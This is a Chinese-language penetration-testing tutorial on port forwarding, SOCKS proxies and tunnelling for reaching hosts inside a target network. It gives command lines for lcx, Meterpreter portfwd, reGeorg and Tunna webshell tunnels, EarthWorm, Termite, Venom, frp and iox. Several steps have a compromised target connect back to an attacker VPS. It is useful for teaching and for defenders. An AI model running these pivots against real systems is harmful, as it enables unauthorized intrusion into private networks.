概念區分
端口轉發
端口轉發就是將一個端口,這個端口可以本機的端口也可以是本機可以訪問到的任意主機的端口,轉發到任意一台可以訪問到的IP上,通常這個IP是公網IP。
適用端口轉發的網絡環境有以下幾種:
-
服務器處於內網,可以訪問外部網絡。
-
服務器處於外網,可以訪問外部網絡,但是服務器安裝了防火牆來拒絕敏感端口的連接。
-
服務器處於內網,對外只開放了80端口,並且服務器不能訪問外網網絡。
端口映射
映射端口,就是將一個內網端口映射到公網上的某個端口,假設我自己的電腦是在內網中,沒有公網IP,但是我想提供一個端口供其他人使用,這就是端口映射。
端口轉發和端口映射的區別
端口映射場景
外網主機A想訪問內網主機B上的服務。
端口轉發場景
外網主機A已經可以任意內網主機B上的端口,但是無法訪問內網主機C上的端口。此時可以將C主機的端口轉發到B主機的端口,那么外網主機A訪問B主機的某某端口就相當於訪問了C主機的某某。
端口轉發和端口映射原理是一樣的只不過是應用場景不一樣,假如我們將本機的端口轉發到遠程主機端口,我們可以叫端口映射,也可以叫端口轉發
代理
代理(Proxy),也稱網絡代理,是一種特殊的網絡服務,允許一個網絡終端(一般為客戶端)通過這個服務與另一個網絡終端(一般為服務器)進行非直接的連接。一些網關、路由器等網絡設備具備網絡代理功能。一般認為代理服務有利於保障網絡終端的隱私或安全,防止攻擊。
代理一般可以分為http代理、socks代理、ftp代理、telent代理、ssl代理等
正向代理和反向代理的區別
正向代理中,proxy 和 client 同屬一個 LAN,對 server 透明;
反向代理中,proxy 和 server 同屬一個 LAN,對 client 透明。
一個代理的是客戶端,一個代理的是服務器,實際上proxy在兩種代理中做的事都是代為收發請求和響應,不過從結構上來看正好左右互換了下,所以把前者那種代理方式叫做正向代理,后者叫做反向代理。
隧道
隧道是遠距離的服務器和客戶端之間的中轉站。隧道可按要求建立起一條與其他服務器的通信線路,屆時使用 SSL 等加密手段進行通信。隧道的目的是確保客戶端能與服務器進行安全的通信。隧道本身不會去解析 HTTP 請求。也就是說,請求保持原樣中轉給之后的服務器。隧道會在通信雙方斷開連接時結束。
隧道和代理的區別是:代理是委托一個人找目標,隧道是通過特定的通訊方法,直接找到這個目標;代理最主要的特征是,無論代理后面掛了幾個設備,代理對外只表現為一個設備。外部設備以為自己是在和代理交互,而不能感知代理內部的設備。隧道是一個虛擬的路徑,用來使到達隧道入口的數據,穿越原本不方便穿越的網絡,到達另一側出口。隧道允許數據從一個網絡移動到另一個網絡,且只關心流量的傳輸,不對承載的流量進行解析,而代理需要對你的請求進行解析,然后代替你進行流量的轉發。
隧道會添加報文頭部,代理會修改報文頭部
端口轉發工具
概念講解
這里以lcx為例子做一個說明,lcx.exe 是一個基於 socket 套接字實現的端口轉發工具,它是從 linux 下的htran 工具移植到windows平台的。
socket端口轉發
一條正常的socket隧道必具備兩端,一側為服務端,它會監聽一個端口等待客戶端連接;
另一側為客戶端,通過傳入服務端的ip和端口,才能主動連接到服務器。
而端口轉發工具(lcx.exe/htran)的工作原理其實是將兩條 socket 隧道對接起來,打造一條可“異步雙向通訊”的轉接隧道。由於合法的socket隧道有兩種接口分別對應服務端和客戶端,根據數學中的排列組合可計算出端口轉發供具有4種工作狀態,它們是:
1.“客戶端” 接 “客戶端”
2.“客戶端” 接 “服務端”
3.“服務端” 接 “客戶端”
4.“服務端” 接 “服務端”
又由於端口轉發為“異步雙向通訊”隧道,隧道轉接不分先后,所以狀態2和狀態3 是相同的,合並之后,便分別對應了lcx的三種工作模式,如下所示:
1、slave “客戶端” 接 “客戶端”
2、tran “服務端” 接 “客戶端”
3、listen “服務端” 接 “服務端”
於是便可理解lcx工具的三種命令參數的格式為何是以下的樣子了:
–listen ConnectPort TransmitPort
–tran ConnectPort TransmitHost TransmitPort
–slave ConnectHost ConnectPort TransmitHost TransmitPort
socks代理
Socks 代理從名字中的“代理”二字就可以了解它的功能核心:那就是幫他人完成socket訪問網絡。
有的同學大概知道瀏覽器(IE/Chrome/FireFox等)有設置socks代理的配置項,可用來訪問網絡的能力。當我們通過代理服務器訪問一個網址時,socks服務器其實是起到了一個中間人的身份,他分別與兩方(瀏覽器/被訪問的網站)通訊然后將獲取到的結果告知另一方。
在使用代理服務的過程中我們會發現,只要配置好socks代理后,就不再需要指定被訪問目標,直接在瀏覽器的地址欄輸入地址就能訪問任意網站。這是由於socks代理中有一個交互協議,當我們准備訪問一個網站並敲擊回車時,瀏覽器會先發送一個被訪問目標的基本信息(URL和服務端口)給socks服務端,socks服務端解析了這個信息后,會代替瀏覽器去訪問目標網站,並將訪問結果回復給瀏覽器端。這便是socks代理的工作原理了。
通過這段對socks代理的描述,可知socks代理其實可理解為一個增強版的 lcx -tran 它在服務端監聽一個服務端口(ConnectPort),當有新的連接請求時會從socks協議中解析出訪問目標的URL(TransmitHost)的目標端口(TransmitPort),再開始執行lcx -tran 的具體功能。
兩者的異同
1.socket端口轉發無需通訊協議支持,而socks代理需要socks協議支持。
2.socket端口轉發有三種工作方式,而socks代理僅有一種工作方式。
3.如果說socks是幫他人訪問網絡(一對多),那么端口轉發就是幫他人訪問主機的某個端口(一對一)。
端口轉發常用工具
msf反彈木馬
- 使用條件:服務器通外網,擁有自己的公網ip
#轉發目標主機的3389遠程桌面服務端口到本地的8888
portfwd add -l 8888 -p 3389 -r x.x.x.x
#使用linux中的rdesktop連接本地的8888端口。
rdesktop 127.0.0.1:8888
lcx
- 使用條件:服務器通外網,擁有自己的公網ip
lcx是一個經典的端口轉發工具,直接把3389轉發到公網的vps上。
通過文件上傳將lcx.exe傳到目標服務器中,並執行命令,其中x.x.x.x是vps的公網ip。
#根據前文內容可以判斷該命令是監聽vps的9999發端口,將其轉發到3389端口。
lcx.exe -slave x.x.x.x 9999 127.0.0.1 3389
portmap
./portmap -m 2 -p1 3389 -h2 x.x.x.x -p2 9999
p1為監聽的端口
p2為轉發到的端口
-m參數這個參數表明了以哪種方式來用這個工具
1.監聽port1 端口並且連接主機2的port2 端口
2.監聽port1和port2 端口。
3.連接主機1對應的端口和主機2對應的端口
ssh端口轉發
SSH 提供了一個非常有意思的功能,就是端口轉發,它能夠將其他 TCP 端口的網絡數據通過 SSH 鏈接來轉發,並且自動提供了相應的加密及解密服務。使用可以參考https://www.cnblogs.com/keerya/p/7612715.html#_label1
(1) 本地端口轉發(正向連接)
#ssh -L [local_bind_addr:]local_port:remote:remote_port middle_host
#-L 本地網卡地址:本地端口:目標地址:目標端口,本地網卡地址可以省略
ssh -fgN -L 2222:host1:22 host1
(2) 遠程端口轉發(反向連接)
#ssh -R [bind_addr:]remote1_port:host:port remote1
#-R 遠程網卡地址:遠程端口:目標地址:目標端口
ssh -fgN -R 2222:localhost:22 host1
(3) 動態轉發
#ssh -D [bind_addr:]port remote
ssh -fgN -D 12345 root@host1
本地端口轉發:把本地端口數據轉發到遠程服務器,本地服務器作為SSH客戶端及應用客戶端
遠程端口轉發:把遠程端口數據轉發到本地服務器,本地服務器作為SSH客戶端及應用服務端
iptables 端口轉發
CentOS 7.0 以下使用的是iptables,可以通過iptables實現數據包的轉發
(1) 開啟數據轉發功能
vi /etc/sysctl.conf
#增加一行 net.ipv4.ip_forward=1
//使數據轉發功能生效
sysctl -p
(2)將本地的端口轉發到本機端口
iptables -t nat -A PREROUTING -p tcp --dport 2222 -j REDIRECT --to-port 22
(3)將本機的端口轉發到其他機器
iptables -t nat -A PREROUTING -d 192.168.172.130 -p tcp --dport 8000 -j DNAT --to-destination 192.168.172.131:80
iptables -t nat -A POSTROUTING -d 192.168.172.131 -p tcp --dport 80 -j SNAT --to 192.168.172.130
#清空nat表的所有鏈
iptables -t nat -F PREROUTING
firewall 端口轉發
CentOS 7.0以上使用的是firewall,通過命令行配置實現端口轉發。
(1) 開啟偽裝IP
firewall-cmd --permanent --add-masquerade
(2) 配置端口轉發,將到達本機的12345端口的訪問轉發到另一台服務器的22端口。
firewall-cmd --permanent --add-forward-port=port=12345:proto=tcp:toaddr=192.168.172.131:toport=22
(3) 重新載入,使其失效
firewall-cmd --reload
socks代理工具
基於web服務的socks5工具
基於web服務的socks5工具的優點是,在內網服務器不通外網的情況下也能正常使用。例如:
資產組里有2台機器:主機A、主機B。其中主機A上運行了Web服務,且IP或者端口映射到公網,可以被外部人員訪問,主機B是在外網訪問不到的。攻擊者通過漏洞在主機A上傳了Webshell,但同時又出於某些限制並未能得到主機A的主機權限也無法反彈shell,那么他這個時候,也是無法通過常規方法反彈shell或者直接登錄主機A從而訪問到主機B的。
此時基於web服務的socks5隧道就在這個時候起了作用,攻擊者已經有了主機A的webshell權限(即可以在web服務器中上傳文件),而主機A可以和主機B通信。那么在主機A上安裝相應工具,使得攻擊者發出的請求以及目標機器的響應經過A的http轉發,達到攻擊者可以和主機B進行通信的效果。
常用的工具有:reGeorg,reDuh,Tunna和Proxifier。
reGeorg
reGeorg是reDuh的升級版,主要是把內網服務器的端口通過http/https隧道轉發到本機,形成一個回路。用於目標服務器在內網或做了端口策略的情況下連接目標服務器內部開放端口。它利用webshell建立一個socks代理進行內網穿透,服務器必須支持aspx、php或jsp這些web程序中的一種。
下載地址:https://github.com/sensepost/reGeorg
首先選擇對應腳本的tunnel上傳到服務器
然后訪問上傳文件,顯示如下則表示成功
在reGeorg文件夾下執行reGeorgSocksProxy.py,-p為指定隧道的端口,-u為剛剛上傳的tunnel文件地址。
python reGeorgSocksProxy.py -p 8888 -u http://x.x.x.x/tunnel.php
打開Proxifier,更改為腳本指定的端口
本地電腦成功通過socks5帶進了目標主機的內網
Tunna
下載地址:https://github.com/SECFORCE/Tunna
Tunna和reduh原理一樣..
使用方法:
-
上傳源碼包中文件夾webshell下的腳本至網站目錄
-
然后本地進行連接上傳的webshell即可
python proxy.py -u http://172.0.0.1/conn.php -l 1234 -r 3389 -v #轉發SSH服務需要加上-s參數避免中斷
其它功能
#socks代理
goto 對應id
socks 1080
#shell管理
shell 4444
nc -v 127.0.0.1 4444
#端口轉發
lcxtran 本地端口 目標ip 目標端口
#上傳下載文件
upfile 本地文件路徑 目標路徑
downfile 目標文件路徑 本地存放路徑
能夠進行多層代理的工具
Earthworm(又稱ew)
該工具能夠以“正向”、“反向”、“多級級聯”等方式打通一條網絡隧道,直達網絡深處。
使用教程:http://rootkiter.com/EarthWorm/
使用條件:目標主機通外網,擁有自己的公網ip
選擇對應主機操作系統的執行文件。
首先在公網vps上執行:
./ew_for_linux64 -s rcsocks -l 10000 -e 11000
#-l為Proxifier連接的端口,-e為目標主機和vps的通信端口。
然后在目標主機中執行:
ew_for_Win.exe -s rssocks -d 1.1.1.1 -e 11000
socks5隧道建立成功,成功把自己的主機帶進目標內網。
使用Proxifier,配置ip和連接端口。
Termite
Termite 是EW(EarthWorm)的最新版,主要特性: 多平台支持、跳板機互聯、正反向級聯、小巧無依賴、內置Shell令主機管理更方便。
官方網站: http://rootkiter.com/Termite/
項目地址:https://github.com/rootkiter/Termite
ew 和 termite已經不再進行維護了,下載方式如下
git clone https://github.com/rootkiter/Binary-files.git
cd .\Binary-files\
git checkout bd32230
ls
使用方式
目標在公網
#目標A:
agent_win32.exe -l 8888
#PC:
admin_win32.exe -c 目標ip -p 8888
目標在內網(能出網)
#在vps運行:
agent_win32.exe -l 8888
#在自己機器運行:
admin_win32.exe -c vps_ip -p 8888
#在目標機器運行:
agent_win32.exe -c vps_ip -p 8888
目標B在內網(不出網,通出網機器A)
agent正向連接
#a.在vps運行:
agent_win32.exe -l 8888
#b.在PC運行:
admin_win32.exe -c vps_ip -p 8888
#c.在出網機器A運行:
agent_win32.exe -c vps_ip -p 8888
#d.在目標B運行:
agent_win32.exe -l 9000
#e.在PC運行:
goto A_id
connect B_ip 9000
agent間反向連接
#a.在vps運行:
agent_win32.exe -l 8888
#b.在PC運行:
admin_win32.exe -c vps_ip -p 8888
#c.在出網機器A運行:
agent_win32.exe -c vps_ip -p 8888
#d.在PC運行:
goto A_id
listen 9000
#e.在目標B運行:
agent_win32.exe -c A_ip -p 9000
venom
Venom是一款為滲透測試人員設計的使用Go開發的多級代理工具。Venom可將多個節點進行連接,然后以節點為跳板,構建多級代理。滲透測試人員可以使用Venom輕松地將網絡流量代理到多層內網,並輕松地管理代理節點。
下載地址:https://github.com/Dliv3/Venom
安裝
go get -u github.com/Dliv3/Venom/...
# $GOPATH是安裝Go時配置的環境變量,可通過go env命令查看
cd $GOPATH/src/github.com/Dliv3/Venom
# 編譯好的二進制文件存放在當前目錄下的release文件夾中
./build.sh
admin/agent命令行參數,admin節點和agent節點均可監聽連接也可發起連接。
admin監聽端口,agent發起連接:
./admin_macos_x64 -lport 9999
./agent_linux_x64 -rhost 192.168.0.103 -rport 9999
agent監聽端口,admin發起連接:
./agent_linux_x64 -lport 8888
./admin_macos_x64 -rhost 192.168.204.139 -rport 8888
fuso
https://github.com/editso/fuso
這是一款用於內網穿透 端口轉發的神器,幫助運維 開發 快速部署與接入內網 同時支持CobaltStrike 一鍵轉發等功能。
多功能型的代理工具
frp
通過SSH訪問內網機器
服務端配置
[common]
bind_port = 7000 # 客戶端通信端口
./frps -c ./frps.ini # 臨時
nohup ./frps -c ./frps.ini & # 后台
客戶端配置
[common]
server_addr = x.x.x.x
server_port = 7000
[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 6000
local_ip
配置為本地需要暴露到公網的服務地址。
local_port
配置為本地需要暴露到公網的服務端口。
remote_port
表示在 frp 服務端監聽的端口,訪問此端口的流量將會被轉發到本地服務對應的端口。
啟動
./frpc -c ./frpc.ini # 臨時
nohup ./frpc -c ./frpc.ini & # 后台
使用
ssh -oPort=6000 test@x.x.x.x
frp 會將請求 x.x.x.x:6000 的流量轉發到內網機器的 22 端口
通過HTTP協議訪問內網WEB服務
HTTP 類型的代理相比於 TCP 類型,不僅在服務端只需要監聽一個額外的端口 vhost_http_port
用於接收 HTTP 請求,還額外提供了基於 HTTP 協議的諸多功能。
服務端配置,修改 frps.ini 文件,設置監聽 HTTP 請求端口為 8080:
[common]
bind_port = 7000
vhost_http_port = 8080
客戶端配置
修改 frpc.ini 文件,假設 frps 所在的服務器的 IP 為 x.x.x.x,local_port
為本地機器上 Web 服務監聽的端口, 綁定自定義域名為 custom_domains
。
[common]
server_addr = x.x.x.x
server_port = 7000
[web]
type = http
local_port = 80
custom_domains = www.yourdomain.com
[web2]
type = http
local_port = 8080
custom_domains = www.yourdomain2.com
使用
- 分別啟動 frps 和 frpc。
- 將
www.yourdomain.com
和www.yourdomain2.com
的域名 A 記錄解析到 IPx.x.x.x
,如果服務器已經有對應的域名,也可以將 CNAME 記錄解析到服務器原先的域名。或者可以通過修改 HTTP 請求的 Host 字段來實現同樣的效果。 - 通過瀏覽器訪問
http://www.yourdomain.com:8080
即可訪問到處於內網機器上 80 端口的服務,訪問http://www.yourdomain2.com:8080
則訪問到內網機器上 8080 端口的服務。
通過socks5搭建隧道
服務端配置,修改frps.ini配置文件
[common]
bind_port = 7000
bind_port:綁定的端口
客戶端配置,修改frpc.ini配置文件
[common]
server_addr = x.x.x.x
server_port = 7000
[test]
remote_port = 10000 #代理的端口
plugin = socks5 #使用的協議
use_encryption = true #是否加密
use_compression = true
- remote_port: 代理的端口
- plugin: 使用的協議
- use_encryption: 是否加密
- plugin_user= admin #socks5用戶名
- plugin_passwd= admin #socks5密碼
使用
然后可以本機設置代理: socks5 xxx.xxx.xxx.xxx(VPS) 10000,即可訪問內網系統
可以利用命令如下命令來測試sockets代理搭建的是否成功
curl --socks5 x.x.x.x:10000 http://www.baidu.com
另外可以在SwitchyOmega中配置sockets5代理可以實現2.2的功能
詳細使用可以參考https://www.cnblogs.com/tomyyyyy/p/15195601.html
iox
具有流量加密、友好的命令行參數、邏輯優化、UDP流量轉發等優點
下載地址:https://github.com/EddieIvan01/iox
使用教程:https://www.freebuf.com/articles/network/244567.html
兩種工作模式
fwd模式:
同時監聽 0.0.0.0:8888 和0.0.0.0:9999,將兩個連接間的流量進行轉發。
/iox fwd -l 8888 -l 9999
#for lcx:
./lcx -listen 8888 9999
監聽0.0.0.0:8888,把流量轉發到1.1.1.1:9999。
./iox fwd -l 8888 -r 1.1.1.1:9999
#for lcx:
./lcx -tran 8888 1.1.1.1 9999
連接1.1.1.1:8888和1.1.1.1:9999, 在兩個連接間轉發流量。
./iox fwd -r 1.1.1.1:8888 -r 1.1.1.1:9999
#for lcx:
./lcx -slave 1.1.1.1 8888 1.1.1.1 9999
proxy模式:
在本地 0.0.0.0:1080啟動Socks5服務
./iox proxy -l 1080
#for ew:
./ew -s ssocksd -l 1080
在目標主機上開啟Socks5服務,將通信流量轉發至公網VPS,VPS上將流量從0.0.0.0:9999轉發到0.0.0.0:1080。此時,你必須將兩條命令成對使用,因為它內部包含了一個簡單的協議來控制回連。
./iox proxy -r 1.1.1.1:9999
./iox proxy -l 9999 -l 1080 // 注意,這兩個端口是有順序的
#for ew:
./ew -s rcsocks -l 1080 -e 9999
./ew -s rssocks -d 1.1.1.1 -e 9999
內網穿透工具
nps
nps是一款輕量級、高性能、功能強大的內網穿透代理服務器。目前支持tcp、udp流量轉發,可支持任何tcp、udp上層協議(訪問內網網站、本地支付接口調試、ssh訪問、遠程桌面,內網dns解析等等……),此外還支持內網http代理、內網socks5代理、p2p等,並帶有功能強大的web管理端。
下載地址:https://github.com/ehang-io/nps/releases
參考文檔:https://ehang-io.github.io/nps/#/?id=nps